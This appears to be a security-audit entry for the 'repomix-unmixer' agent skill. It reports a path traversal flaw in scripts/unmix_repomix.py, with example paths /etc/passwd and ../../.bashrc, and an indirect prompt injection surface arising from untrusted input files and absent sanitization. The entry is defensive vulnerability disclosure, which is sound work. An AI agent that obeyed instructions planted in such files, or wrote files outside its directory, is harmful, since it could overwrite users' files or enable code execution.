The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): The Python script scripts/unmix_repomix.py is vulnerable to path traversal. In the unmix_xml, unmix_markdown, and unmix_json functions, the file_path is extracted directly from the untrusted input file and joined with the output directory using Path(output_dir) / file_path. Because pathlib joins absolute paths by overriding the base and does not automatically resolve ../ sequences to ensure they remain within the base directory, an attacker can specify paths like /etc/passwd or ../../.bashrc to write files anywhere the user has permissions. This allows for arbitrary file overwrite, which can lead to persistence or remote code execution.\n- [PROMPT_INJECTION] (LOW): The skill possesses a significant Indirect Prompt Injection surface (Category 8).\n
Ingestion points: scripts/unmix_repomix.py reads and parses untrusted data from user-provided files (XML, Markdown, or JSON formats).\n
Boundary markers: Absent. The script relies on regex/JSON keys and does not use any delimiters or instructions to ignore malicious control characters in the file paths or content.\n
Capability inventory: The skill provides a script with the capability to create directories and write files to the file system (pathlib.Path.mkdir, open(..., 'w')).\n
Sanitization: Absent. There is no validation, normalization, or sanitization performed on the paths extracted from the input data to prevent traversal outside the intended output directory.

repomix-unmixer